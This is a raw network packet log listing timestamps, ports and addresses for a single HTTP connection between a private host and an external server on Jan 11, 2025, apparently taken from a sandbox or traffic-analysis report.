Jan 11, 2025 05:11:22.916606903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.917284966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.917330980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.917479038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.917494059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.917531013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.921190023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.921219110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.931392908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.931408882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.931423903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.931480885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.931668997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.931713104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.974941015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.974977970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.975012064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.975044966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.975101948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.975122929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.975156069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.975156069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.975199938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.975208044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.975241899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.975272894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.975281000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.975305080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.975347042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.975361109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.975388050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.975426912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.995832920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.995867968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.995901108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.995934010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.995954990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:22.995965958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:22.996022940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.015291929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.015409946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.015414000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.015443087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.015476942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.015516996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.015552998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.015602112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.015604973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.015635967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.015669107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.015675068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.015701056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.015755892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.015763998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.015793085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.015851021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.037492990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.037528992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.037564039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.037636042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.037635088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.037669897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.037703991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.037837982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.037866116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.037882090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.037899971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.037940025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.037981987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038014889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038047075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038054943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.038079977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038111925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038121939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.038162947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038196087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038208961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.038227081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038280964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.038296938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038330078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038362026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038387060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.038394928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038435936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.038510084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038541079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038573980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038583040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.038664103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038696051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038705111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.038727999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038768053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.038837910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038870096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038902044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038909912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.038934946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038968086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.038975000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.039000034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039032936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039041996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.039195061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039227009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039246082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.039259911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039292097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039304018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.039357901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039388895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039401054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.039423943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039463043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039467096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.039511919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039545059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039551973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.039577007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039608002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039618015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.039642096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039674044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039686918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.039864063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039896965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039910078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.039930105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039962053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.039969921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.039994955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.040040016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.045562029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.045591116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.045622110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.045636892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.045659065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.045706034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.045706987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.045739889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.045770884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.045780897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.045874119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.045906067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.045926094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.045939922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.045972109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.045983076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.046024084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046056032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046065092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.046087980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046119928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046130896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.046160936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046205044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.046209097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046241045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046278954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.046334028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046382904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046415091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046422958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.046447039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046483994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.046538115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046572924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046610117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.046713114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046746016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046777010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046787977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.046811104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046849012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.046896935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046931028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046962976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.046977043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.046994925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.047027111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.047035933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.047060013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.047099113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.047224998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.047255993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.047287941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.047295094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.049400091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.063030958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.063102007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.063127995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.063138008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.063172102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.063205957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.063205957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.063239098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.063261986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.063276052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.063333988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.069637060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.085863113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.085937023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.085972071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086004972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086041927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086045027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.086078882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.086093903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086128950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086141109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.086162090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086194992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086209059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.086227894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086268902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.086330891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086365938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086402893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086435080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.086435080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086471081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.086494923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.105648994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.105688095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.105721951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.105772018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.105777979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.105807066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.105815887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.105837107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.105850935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.105870008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.105905056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.105912924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.124387026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124418974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124470949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124504089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124516010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.124536991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124569893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124572992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.124596119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.124619961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124653101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124663115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.124685049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124718904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124735117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.124747992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124787092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.124799967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124833107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124866962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124892950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.124895096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.124948978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.124983072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125015974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125049114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125070095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125080109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125117064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125129938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125161886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125194073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125201941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125225067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125266075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125273943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125308037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125341892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125353098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125374079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125410080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125420094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125447035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125478983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125492096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125509977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125546932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125602007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125633955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125667095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125675917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125694036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125730991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125781059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125813007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125844955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125855923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125876904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125921011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.125926971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125958920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.125993013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126003027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.126025915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126060009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126070023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.126249075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126281023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126295090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.126312971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126343966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126355886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.126421928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126454115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126462936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.126537085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126580954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.126586914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126621008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126662016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126672029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.126693964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126727104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126734018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.126760960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126801968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.126868010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126899958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126936913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.126944065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.126969099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.127003908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.127012968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.127053976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.127087116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.127099991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.127120018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.127152920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.127166033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.127202988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.127234936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.127243996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:11:23.127269983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:11:23.127304077 CET	80	49704	193.143.1.205	192.168.2.5
